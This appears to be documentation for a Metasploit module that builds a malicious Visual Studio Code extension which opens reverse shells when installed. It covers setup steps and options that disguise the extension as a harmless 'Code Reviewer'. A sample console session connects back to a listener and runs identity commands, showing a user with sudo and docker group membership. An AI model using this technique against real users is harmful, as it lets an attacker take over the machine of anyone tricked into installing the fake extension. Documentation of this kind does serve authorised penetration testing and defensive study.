## Vulnerable Application

Creates a vsix file which can be installed in Visual Studio Code as an extension.
At activation/install, the extension will execute a shell or two.

Tested against VSCode 1.87.2 on Ubuntu 22.04

## Verification Steps

1. Install VSCode
1. Start msfconsole
1. Do: `use exploit/multi/fileformat/visual_studio_vsix_exec`
1. Do: `set lhost [IP]`
1. Do: `run`
1. In Visual Studio, click the extensions button on the left (4 boxes with the top
right one offset)
1. Click the 3 dots in the new window, select `Install from VSIX...`.
1. Click the extension
1. You should get a shell or two

## Options

### NAME

The name of the extension. Defaults to `Code Reviewer`

### DESCRIPTION

The description of the extension. Defaults to `Reviews code`

### VERSION

The version of the extension. Defaults to `0.0.1`

### README

The readme contents for the extension. Defaults to ``

## Scenarios

### VSCode 1.87.2 on Ubuntu 22.04

```
msf6 > use exploit/multi/fileformat/visual_studio_vsix_exec
[*] Using configured payload nodejs/shell_reverse_tcp
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lport 5989
lport => 5989
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lhost 111.111.11.111
lhost => 111.111.11.111
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > exploit

[*] Started reverse TCP handler on 111.111.11.111:5989 
[+] extension.vsix stored at /root/.msf4/local/extension.vsix
[*] Waiting for shell
[*] Command shell session 1 opened (111.111.11.111:5989 -> 111.111.11.111:33070) at 2024-03-22 17:22:16 +0000

[*] Command shell session 2 opened (111.111.11.111:5989 -> 111.111.11.111:33080) at 2024-03-22 17:22:16 +0000
whoami
h00die
id
uid=1000(h00die) gid=1000(h00die) groups=1000(h00die),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker)
code -v   
1.87.2
863d2581ecda6849923a2118d93a088b0745d9d6
x64
```
